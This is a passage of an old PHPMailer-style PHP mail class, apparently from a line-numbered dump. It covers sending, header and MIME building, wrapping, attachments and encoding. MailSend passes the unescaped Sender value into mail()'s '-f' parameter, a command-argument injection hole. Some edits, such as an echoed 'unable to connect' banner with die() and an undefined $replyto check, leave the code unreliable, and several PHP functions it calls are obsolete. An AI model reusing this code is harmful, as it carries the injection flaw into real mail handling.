  1836. /////////////////////////////////////////////////
  1837.  
  1838. /**
  1839. * Creates message and assigns Mailer. If the message is
  1840. * not sent successfully then it returns false. Use the ErrorInfo
  1841. * variable to view description of the error.
  1842. * @return bool
  1843. */
  1844. function Send() {
  1845. $header = '';
  1846. $body = '';
  1847. $result = true;
  1848.  
  1849. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1850. $this->SetError($this->Lang('provide_address'));
  1851. return false;
  1852. }
  1853.  
  1854. /* Set whether the message is multipart/alternative */
  1855. if(!empty($this->AltBody)) {
  1856. $this->ContentType = 'multipart/alternative';
  1857. }
  1858.  
  1859. $this->error_count = 0; // reset errors
  1860. $this->SetMessageType();
  1861. $header .= $this->CreateHeader();
  1862. $body = $this->CreateBody();
  1863.  
  1864. if($body == '') {
  1865. return false;
  1866. }
  1867.  
  1868. /* Choose the mailer */
  1869. switch($this->Mailer) {
  1870. case 'sendmail':
  1871. $result = $this->SendmailSend($header, $body);
  1872. break;
  1873. case 'smtp':
  1874. $result = $this->SmtpSend($header, $body);
  1875. break;
  1876. case 'mail':
  1877. $result = $this->MailSend($header, $body);
  1878. break;
  1879. default:
  1880. $result = $this->MailSend($header, $body);
  1881. break;
  1882. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1883. //$result = false;
  1884. //break;
  1885. }
  1886.  
  1887. return $result;
  1888. }
  1889.  
  1890. /**
  1891. * Sends mail using the $Sendmail program.
  1892. * @access private
  1893. * @return bool
  1894. */
  1895. function SendmailSend($header, $body) {
  1896. if ($this->Sender != '') {
  1897. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1898. } else {
  1899. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1900. }
  1901.  
  1902. if(!@$mail = popen($sendmail, 'w')) {
  1903. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1904. return false;
  1905. }
  1906.  
  1907. fputs($mail, $header);
  1908. fputs($mail, $body);
  1909.  
  1910. $result = pclose($mail);
  1911. if (version_compare(phpversion(), '4.2.3') == -1) {
  1912. $result = $result >> 8 & 0xFF;
  1913. }
  1914. if($result != 0) {
  1915. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1916. return false;
  1917. }
  1918. return true;
  1919. }
  1920.  
  1921. /**
  1922. * Sends mail using the PHP mail() function.
  1923. * @access private
  1924. * @return bool
  1925. */
  1926. function MailSend($header, $body) {
  1927.  
  1928. $to = '';
  1929. for($i = 0; $i < count($this->to); $i++) {
  1930. if($i != 0) { $to .= ', '; }
  1931. $to .= $this->AddrFormat($this->to[$i]);
  1932. }
  1933.  
  1934. $toArr = split(',', $to);
  1935.  
  1936. $params = sprintf("-oi -f %s", $this->Sender);
  1937. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1938. $old_from = ini_get('sendmail_from');
  1939. ini_set('sendmail_from', $this->Sender);
  1940. if ($this->SingleTo === true && count($toArr) > 1) {
  1941. foreach ($toArr as $key => $val) {
  1942. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1943. }
  1944. } else {
  1945. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1946. }
  1947. } else {
  1948. if ($this->SingleTo === true && count($toArr) > 1) {
  1949. foreach ($toArr as $key => $val) {
  1950. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1951. }
  1952. } else {
  1953. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1954. }
  1955. }
  1956.  
  1957. if (isset($old_from)) {
  1958. ini_set('sendmail_from', $old_from);
  1959. }
  1960.  
  1961. if(!$rt) {
  1962. $this->SetError($this->Lang('instantiate'));
  1963. return false;
  1964. }
  1965.  
  1966. return true;
  1967. }
  1968.  
  1969. /**
  1970. * Sends mail via SMTP using PhpSMTP (Author:
  1971. * Chris Ryan). Returns bool. Returns false if there is a
  1972. * bad MAIL FROM, RCPT, or DATA input.
  1973. * @access private
  1974. * @return bool
  1975. */
  1976. function SmtpSend($header, $body) {
  1977. $error = '';
  1978. $bad_rcpt = array();
  1979.  
  1980. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP
  1981. !!</font></p>";die();
  1982. return false;
  1983. }
  1984.  
  1985. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1986. if(!$this->smtp->Mail($smtp_from)) {
  1987. $error = $this->Lang('from_failed') . $smtp_from;
  1988. $this->SetError($error);
  1989. $this->smtp->Reset();
  1990. return false;
  1991. }
  1992.  
  1993. /* Attempt to send attach all recipients */
  1994. for($i = 0; $i < count($this->to); $i++) {
  1995. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1996. $bad_rcpt[] = $this->to[$i][0];
  1997. }
  1998. }
  1999. for($i = 0; $i < count($this->cc); $i++) {
  2000. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  2001. $bad_rcpt[] = $this->cc[$i][0];
  2002. }
  2003. }
  2004. for($i = 0; $i < count($this->bcc); $i++) {
  2005. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  2006. $bad_rcpt[] = $this->bcc[$i][0];
  2007. }
  2008. }
  2009.  
  2010. if(count($bad_rcpt) > 0) { // Create error message
  2011. for($i = 0; $i < count($bad_rcpt); $i++) {
  2012. if($i != 0) {
  2013. $error .= ', ';
  2014. }
  2015. $error .= $bad_rcpt[$i];
  2016.  
  2017. }
  2018. $error = $this->Lang('recipients_failed') . $error;
  2019. $this->SetError($error);
  2020. $this->smtp->Reset();
  2021. return false;
  2022. }
  2023.  
  2024. if(!$this->smtp->Data($header . $body)) {
  2025. $this->SetError($this->Lang('data_not_accepted'));
  2026. $this->smtp->Reset();
  2027. return false;
  2028. }
  2029. if($this->SMTPKeepAlive == true) {
  2030. $this->smtp->Reset();
  2031. } else {
  2032. $this->SmtpClose();
  2033. }
  2034.  
  2035. return true;
  2036. }
  2037.  
  2038. /**
  2039. * Initiates a connection to an SMTP server. Returns false if the
  2040. * operation failed.
  2041. * @access private
  2042. * @return bool
  2043. */
  2044. function SmtpConnect() {
  2045. if($this->smtp == NULL) {
  2046. $this->smtp = new SMTP();
  2047. }
  2048.  
  2049. $this->smtp->do_debug = $this->SMTPDebug;
  2050. $hosts = explode(';', $this->Host);
  2051. $index = 0;
  2052. $connection = ($this->smtp->Connected());
  2053.  
  2054. /* Retry while there is no connection */
  2055. while($index < count($hosts) && $connection == false) {
  2056. $hostinfo = array();
  2057. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2058. $host = $hostinfo[1];
  2059. $port = $hostinfo[2];
  2060. } else {
  2061. $host = $hosts[$index];
  2062. $port = $this->Port;
  2063. }
  2064.  
  2065. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2066. if ($this->Helo != '') {
  2067. $this->smtp->Hello($this->Helo);
  2068. } else {
  2069. $this->smtp->Hello($this->ServerHostname());
  2070. }
  2071.  
  2072. $connection = true;
  2073. if($this->SMTPAuth) {
  2074. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2075. $this->SetError($this->Lang('authenticate'));
  2076. $this->smtp->Reset();
  2077. $connection = false;
  2078. }
  2079. }
  2080. }
  2081. $index++;
  2082. }
  2083. if(!$connection) {
  2084. $this->SetError($this->Lang('connect_host'));
  2085. }
  2086.  
  2087. return $connection;
  2088. }
  2089.  
  2090. /**
  2091. * Closes the active SMTP session if one exists.
  2092. * @return void
  2093. */
  2094. function SmtpClose() {
  2095. if($this->smtp != NULL) {
  2096. if($this->smtp->Connected()) {
  2097. $this->smtp->Quit();
  2098. $this->smtp->Close();
  2099. }
  2100. }
  2101. }
  2102.  
  2103. /**
  2104. * Sets the language for all class error messages. Returns false
  2105. * if it cannot load the language file. The default language type
  2106. * is English.
  2107. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2108. * @param string $lang_path Path to the language file directory
  2109. * @access public
  2110. * @return bool
  2111. */
  2112. function SetLanguage($lang_type, $lang_path = 'language/') {
  2113. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2114. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2115. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2116. include($lang_path.'phpmailer.lang-en.php');
  2117. } else {
  2118. $this->SetError('Could not load language file');
  2119. return false;
  2120. }
  2121. $this->language = $PHPMAILER_LANG;
  2122.  
  2123. return true;
  2124. }
  2125.  
  2126. /////////////////////////////////////////////////
  2127. // METHODS, MESSAGE CREATION
  2128. /////////////////////////////////////////////////
  2129.  
  2130. /**
  2131. * Creates recipient headers.
  2132. * @access private
  2133. * @return string
  2134. */
  2135. function AddrAppend($type, $addr) {
  2136. $addr_str = $type . ': ';
  2137. $addr_str .= $this->AddrFormat($addr[0]);
  2138. if(count($addr) > 1) {
  2139. for($i = 1; $i < count($addr); $i++) {
  2140. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2141. }
  2142. }
  2143. $addr_str .= $this->LE;
  2144.  
  2145. return $addr_str;
  2146. }
  2147.  
  2148. /**
  2149. * Formats an address correctly.
  2150. * @access private
  2151. * @return string
  2152. */
  2153. function AddrFormat($addr) {
  2154. if(empty($addr[1])) {
  2155. $formatted = $this->SecureHeader($addr[0]);
  2156. } else {
  2157. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2158. }
  2159.  
  2160. return $formatted;
  2161. }
  2162.  
  2163. /**
  2164. * Wraps message for use with mailers that do not
  2165. * automatically perform wrapping and for quoted-printable.
  2166. * Original written by philippe.
  2167. * @access private
  2168. * @return string
  2169. */
  2170. function WrapText($message, $length, $qp_mode = false) {
  2171. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2172. // If utf-8 encoding is used, we will need to make sure we don't
  2173. // split multibyte characters when we wrap
  2174. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2175.  
  2176. $message = $this->FixEOL($message);
  2177. if (substr($message, -1) == $this->LE) {
  2178. $message = substr($message, 0, -1);
  2179. }
  2180.  
  2181. $line = explode($this->LE, $message);
  2182. $message = '';
  2183. for ($i=0 ;$i < count($line); $i++) {
  2184. $line_part = explode(' ', $line[$i]);
  2185. $buf = '';
  2186. for ($e = 0; $e<count($line_part); $e++) {
  2187. $word = $line_part[$e];
  2188. if ($qp_mode and (strlen($word) > $length)) {
  2189. $space_left = $length - strlen($buf) - 1;
  2190. if ($e != 0) {
  2191. if ($space_left > 20) {
  2192. $len = $space_left;
  2193. if ($is_utf8) {
  2194. $len = $this->UTF8CharBoundary($word, $len);
  2195. } elseif (substr($word, $len - 1, 1) == "=") {
  2196. $len--;
  2197. } elseif (substr($word, $len - 2, 1) == "=") {
  2198. $len -= 2;
  2199. }
  2200. $part = substr($word, 0, $len);
  2201. $word = substr($word, $len);
  2202. $buf .= ' ' . $part;
  2203. $message .= $buf . sprintf("=%s", $this->LE);
  2204. } else {
  2205. $message .= $buf . $soft_break;
  2206. }
  2207. $buf = '';
  2208. }
  2209. while (strlen($word) > 0) {
  2210. $len = $length;
  2211. if ($is_utf8) {
  2212. $len = $this->UTF8CharBoundary($word, $len);
  2213. } elseif (substr($word, $len - 1, 1) == "=") {
  2214. $len--;
  2215. } elseif (substr($word, $len - 2, 1) == "=") {
  2216. $len -= 2;
  2217. }
  2218. $part = substr($word, 0, $len);
  2219. $word = substr($word, $len);
  2220.  
  2221. if (strlen($word) > 0) {
  2222. $message .= $part . sprintf("=%s", $this->LE);
  2223. } else {
  2224. $buf = $part;
  2225. }
  2226. }
  2227. } else {
  2228. $buf_o = $buf;
  2229. $buf .= ($e == 0) ? $word : (' ' . $word);
  2230.  
  2231. if (strlen($buf) > $length and $buf_o != '') {
  2232. $message .= $buf_o . $soft_break;
  2233. $buf = $word;
  2234. }
  2235. }
  2236. }
  2237. $message .= $buf . $this->LE;
  2238. }
  2239.  
  2240. return $message;
  2241. }
  2242.  
  2243. /**
  2244. * Finds last character boundary prior to maxLength in a utf-8
  2245. * quoted (printable) encoded string.
  2246. * Original written by Colin Brown.
  2247. * @access private
  2248. * @param string $encodedText utf-8 QP text
  2249. * @param int $maxLength find last character boundary prior to this length
  2250. * @return int
  2251. */
  2252. function UTF8CharBoundary($encodedText, $maxLength) {
  2253. $foundSplitPos = false;
  2254. $lookBack = 3;
  2255. while (!$foundSplitPos) {
  2256. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2257. $encodedCharPos = strpos($lastChunk, "=");
  2258. if ($encodedCharPos !== false) {
  2259. // Found start of encoded character byte within $lookBack block.
  2260. // Check the encoded byte value (the 2 chars after the '=')
  2261. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2262. $dec = hexdec($hex);
  2263. if ($dec < 128) { // Single byte character.
  2264. // If the encoded char was found at pos 0, it will fit
  2265. // otherwise reduce maxLength to start of the encoded char
  2266. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2267. $maxLength - ($lookBack - $encodedCharPos);
  2268. $foundSplitPos = true;
  2269. } elseif ($dec >= 192) { // First byte of a multi byte character
  2270. // Reduce maxLength to split at start of character
  2271. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2272. $foundSplitPos = true;
  2273. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2274. $lookBack += 3;
  2275. }
  2276. } else {
  2277. // No encoded character found
  2278. $foundSplitPos = true;
  2279. }
  2280. }
  2281. return $maxLength;
  2282. }
  2283.  
  2284. /**
  2285. * Set the body wrapping.
  2286. * @access private
  2287. * @return void
  2288. */
  2289. function SetWordWrap() {
  2290. if($this->WordWrap < 1) {
  2291. return;
  2292. }
  2293.  
  2294. switch($this->message_type) {
  2295. case 'alt':
  2296. /* fall through */
  2297. case 'alt_attachments':
  2298. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2299. break;
  2300. default:
  2301. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2302. break;
  2303. }
  2304. }
  2305.  
  2306. /**
  2307. * Assembles message header.
  2308. * @access private
  2309. * @return string
  2310. */
  2311. function CreateHeader() {
  2312. $result = '';
  2313.  
  2314. /* Set the boundaries */
  2315. $uniq_id = md5(uniqid(time()));
  2316. $this->boundary[1] = 'b1_' . $uniq_id;
  2317. $this->boundary[2] = 'b2_' . $uniq_id;
  2318.  
  2319. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2320. if($this->Sender == '') {
  2321. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2322. } else {
  2323. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2324. }
  2325.  
  2326. /* To be created automatically by mail() */
  2327. if($this->Mailer != 'mail') {
  2328. if(count($this->to) > 0) {
  2329. $result .= $this->AddrAppend('To', $this->to);
  2330. } elseif (count($this->cc) == 0) {
  2331. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2332. }
  2333. if(count($this->cc) > 0) {
  2334. $result .= $this->AddrAppend('Cc', $this->cc);
  2335. }
  2336. }
  2337.  
  2338. $from = array();
  2339. $from[0][0] = trim($this->From);
  2340. $from[0][1] = $this->FromName;
  2341. $result .= $this->AddrAppend('From', $from);
  2342.  
  2343. /* sendmail and mail() extract Cc from the header before sending */
  2344. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2345. $result .= $this->AddrAppend('Cc', $this->cc);
  2346. }
  2347.  
  2348. /* sendmail and mail() extract Bcc from the header before sending */
  2349. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2350. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2351. }
  2352. if($replyto != "")
  2353. {
  2354. if(count($this->ReplyTo) > 0) {
  2355. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2356. }
  2357. }
  2358. /* mail() sets the subject itself */
  2359. if($this->Mailer != 'mail') {
  2360. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2361. }
  2362.  
  2363. if($this->MessageID != '') {
  2364. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2365. } else {
  2366. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2367. }
  2368. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2369. if($this->ConfirmReadingTo != '') {
  2370. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2371. }
  2372.  
  2373. // Add custom headers
  2374. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2375. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2376. }
  2377. if (!$this->sign_key_file) {
  2378. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2379. $result .= $this->GetMailMIME();
  2380. }
  2381.  
  2382. return $result;
  2383. }
  2384.  
  2385. /**
  2386. * Returns the message MIME.
  2387. * @access private
  2388. * @return string
  2389. */
  2390. function GetMailMIME() {
  2391. $result = '';
  2392. switch($this->message_type) {
  2393. case 'plain':
  2394. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2395. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2396. break;
  2397. case 'attachments':
  2398. /* fall through */
  2399. case 'alt_attachments':
  2400. if($this->InlineImageExists()){
  2401. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1],
  2402. $this->LE);
  2403. } else {
  2404. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2405. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2406. }
  2407. break;
  2408. case 'alt':
  2409. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2410. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2411. break;
  2412. }
  2413.  
  2414. if($this->Mailer != 'mail') {
  2415. $result .= $this->LE.$this->LE;
  2416. }
  2417.  
  2418. return $result;
  2419. }
  2420.  
  2421. /**
  2422. * Assembles the message body. Returns an empty string on failure.
  2423. * @access private
  2424. * @return string
  2425. */
  2426. function CreateBody() {
  2427. $result = '';
  2428. if ($this->sign_key_file) {
  2429. $result .= $this->GetMailMIME();
  2430. }
  2431.  
  2432. $this->SetWordWrap();
  2433.  
  2434. switch($this->message_type) {
  2435. case 'alt':
  2436. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2437. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2438. $result .= $this->LE.$this->LE;
  2439. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2440. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2441. $result .= $this->LE.$this->LE;
  2442. $result .= $this->EndBoundary($this->boundary[1]);
  2443. break;
  2444. case 'plain':
  2445. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2446. break;
  2447. case 'attachments':
  2448. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2449. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2450. $result .= $this->LE;
  2451. $result .= $this->AttachAll();
  2452. break;
  2453. case 'alt_attachments':
  2454. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2455. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2456. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2457. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2458. $result .= $this->LE.$this->LE;
  2459. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2460. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2461. $result .= $this->LE.$this->LE;
  2462. $result .= $this->EndBoundary($this->boundary[2]);
  2463. $result .= $this->AttachAll();
  2464. break;
  2465. }
  2466.  
  2467. if($this->IsError()) {
  2468. $result = '';
  2469. } else if ($this->sign_key_file) {
  2470. $file = tempnam("", "mail");
  2471. $fp = fopen($file, "w");
  2472. fwrite($fp, $result);
  2473. fclose($fp);
  2474. $signed = tempnam("", "signed");
  2475.  
  2476. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2477. $fp = fopen($signed, "r");
  2478. $result = fread($fp, filesize($this->sign_key_file));
  2479. fclose($fp);
  2480. } else {
  2481. $this->SetError($this->Lang("signing").openssl_error_string());
  2482. $result = '';
  2483. }
  2484.  
  2485. unlink($file);
  2486. unlink($signed);
  2487. }
  2488.  
  2489. return $result;
  2490. }
  2491.  
  2492. /**
  2493. * Returns the start of a message boundary.
  2494. * @access private
  2495. */
  2496. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2497. $result = '';
  2498. if($charSet == '') {
  2499. $charSet = $this->CharSet;
  2500. }
  2501. if($contentType == '') {
  2502. $contentType = $this->ContentType;
  2503. }
  2504. if($encoding == '') {
  2505. $encoding = $this->Encoding;
  2506. }
  2507. $result .= $this->TextLine('--' . $boundary);
  2508. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2509. $result .= $this->LE;
  2510. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2511. $result .= $this->LE;
  2512.  
  2513. return $result;
  2514. }
  2515.  
  2516. /**
  2517. * Returns the end of a message boundary.
  2518. * @access private
  2519. */
  2520. function EndBoundary($boundary) {
  2521. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2522. }
  2523.  
  2524. /**
  2525. * Sets the message type.
  2526. * @access private
  2527. * @return void
  2528. */
  2529. function SetMessageType() {
  2530. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2531. $this->message_type = 'plain';
  2532. } else {
  2533. if(count($this->attachment) > 0) {
  2534. $this->message_type = 'attachments';
  2535. }
  2536. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2537. $this->message_type = 'alt';
  2538. }
  2539. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2540. $this->message_type = 'alt_attachments';
  2541. }
  2542. }
  2543. }
  2544.  
  2545. /* Returns a formatted header line.
  2546. * @access private
  2547. * @return string
  2548. */
  2549. function HeaderLine($name, $value) {
  2550. return $name . ': ' . $value . $this->LE;
  2551. }
  2552.  
  2553. /**
  2554. * Returns a formatted mail line.
  2555. * @access private
  2556. * @return string
  2557. */
  2558. function TextLine($value) {
  2559. return $value . $this->LE;
  2560. }
  2561.  
  2562. /////////////////////////////////////////////////
  2563. // CLASS METHODS, ATTACHMENTS
  2564. /////////////////////////////////////////////////
  2565.  
  2566. /**
  2567. * Adds an attachment from a path on the filesystem.
  2568. * Returns false if the file could not be found
  2569. * or accessed.
  2570. * @param string $path Path to the attachment.
  2571. * @param string $name Overrides the attachment name.
  2572. * @param string $encoding File encoding (see $Encoding).
  2573. * @param string $type File extension (MIME) type.
  2574. * @return bool
  2575. */
  2576. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2577. if(!@is_file($path)) {
  2578. $this->SetError($this->Lang('file_access') . $path);
  2579. return false;
  2580. }
  2581.  
  2582. $filename = basename($path);
  2583. if($name == '') {
  2584. $name = $filename;
  2585. }
  2586.  
  2587. $cur = count($this->attachment);
  2588. $this->attachment[$cur][0] = $path;
  2589. $this->attachment[$cur][1] = $filename;
  2590. $this->attachment[$cur][2] = $name;
  2591. $this->attachment[$cur][3] = $encoding;
  2592. $this->attachment[$cur][4] = $type;
  2593. $this->attachment[$cur][5] = false; // isStringAttachment
  2594. $this->attachment[$cur][6] = 'attachment';
  2595. $this->attachment[$cur][7] = 0;
  2596.  
  2597. return true;
  2598. }
  2599.  
  2600. /**
  2601. * Attaches all fs, string, and binary attachments to the message.
  2602. * Returns an empty string on failure.
  2603. * @access private
  2604. * @return string
  2605. */
  2606. function AttachAll() {
  2607. /* Return text of body */
  2608. $mime = array();
  2609.  
  2610. /* Add all attachments */
  2611. for($i = 0; $i < count($this->attachment); $i++) {
  2612. /* Check for string attachment */
  2613. $bString = $this->attachment[$i][5];
  2614. if ($bString) {
  2615. $string = $this->attachment[$i][0];
  2616. } else {
  2617. $path = $this->attachment[$i][0];
  2618. }
  2619.  
  2620. $filename = $this->attachment[$i][1];
  2621. $name = $this->attachment[$i][2];
  2622. $encoding = $this->attachment[$i][3];
  2623. $type = $this->attachment[$i][4];
  2624. $disposition = $this->attachment[$i][6];
  2625. $cid = $this->attachment[$i][7];
  2626.  
  2627. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2628. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2629. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2630.  
  2631. if($disposition == 'inline') {
  2632. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2633. }
  2634.  
  2635. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2636.  
  2637. /* Encode as string attachment */
  2638. if($bString) {
  2639. $mime[] = $this->EncodeString($string, $encoding);
  2640. if($this->IsError()) {
  2641. return '';
  2642. }
  2643. $mime[] = $this->LE.$this->LE;
  2644. } else {
  2645. $mime[] = $this->EncodeFile($path, $encoding);
  2646. if($this->IsError()) {
  2647. return '';
  2648. }
  2649. $mime[] = $this->LE.$this->LE;
  2650. }
  2651. }
  2652.  
  2653. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2654.  
  2655. return join('', $mime);
  2656. }
  2657.  
  2658. /**
  2659. * Encodes attachment in requested format. Returns an
  2660. * empty string on failure.
  2661. * @access private
  2662. * @return string
  2663. */
  2664. function EncodeFile ($path, $encoding = 'base64') {
  2665. if(!@$fd = fopen($path, 'rb')) {
  2666. $this->SetError($this->Lang('file_open') . $path);
  2667. return '';
  2668. }
  2669. $magic_quotes = get_magic_quotes_runtime();
  2670. set_magic_quotes_runtime(0);
  2671. $file_buffer = fread($fd, filesize($path));
  2672. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2673. fclose($fd);
  2674. set_magic_quotes_runtime($magic_quotes);
  2675.  
  2676. return $file_buffer;
  2677. }
  2678.  
  2679. /**
  2680. * Encodes string to requested format. Returns an
  2681. * empty string on failure.
  2682. * @access private
  2683. * @return string
  2684. */
  2685. function EncodeString ($str, $encoding = 'base64') {
  2686. $encoded = '';
  2687. switch(strtolower($encoding)) {
  2688. case 'base64':
  2689. /* chunk_split is found in PHP >= 3.0.6 */
  2690. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2691. break;
  2692. case '7bit':
  2693. case '8bit':
  2694. $encoded = $this->FixEOL($str);
  2695. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2696. $encoded .= $this->LE;
  2697. break;
  2698. case 'binary':
  2699. $encoded = $str;
  2700. break;
  2701. case 'quoted-printable':
  2702. $encoded = $this->EncodeQP($str);
  2703. break;
  2704. default:
  2705. $this->SetError($this->Lang('encoding') . $encoding);
  2706. break;
  2707. }
  2708. return $encoded;
  2709. }
  2710.  
  2711. /**
  2712. * Encode a header string to best of Q, B, quoted or none.
  2713. * @access private
  2714. * @return string
  2715. */
  2716. function EncodeHeader ($str, $position = 'text') {
  2717. $x = 0;
  2718.  
  2719. switch (strtolower($position)) {
  2720. case 'phrase':
  2721. if (!preg_match('/[\200-\377]/', $str)) {
  2722. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2723. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2724. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2725. return ($encoded);
  2726. } else {
  2727. return ("\"$encoded\"");
  2728. }
  2729. }
  2730. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2731. break;
  2732. case 'comment':
  2733. $x = preg_match_all('/[()"]/', $str, $matches);
  2734. /* Fall-through */
  2735. case 'text':
  2736. default:
  2737. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2738. break;
  2739. }
  2740.  
  2741. if ($x == 0) {
  2742. return ($str);
  2743. }
  2744.  
  2745. $maxlen = 75 - 7 - strlen($this->CharSet);
  2746. /* Try to select the encoding which should produce the shortest output */
  2747. if (strlen($str)/3 < $x) {
  2748. $encoding = 'B';
  2749. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2750. // Use a custom function which correctly encodes and wraps long
  2751. // multibyte strings without breaking lines within a character
  2752. $encoded = $this->Base64EncodeWrapMB($str);
  2753. } else {
  2754. $encoded = base64_encode($str);
  2755. $maxlen -= $maxlen % 4;
  2756. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2757. }
  2758. } else {
  2759. $encoding = 'Q';
  2760. $encoded = $this->EncodeQ($str, $position);
  2761. $encoded = $this->WrapText($encoded, $maxlen, true);
  2762. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2763. }
  2764.  
  2765. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
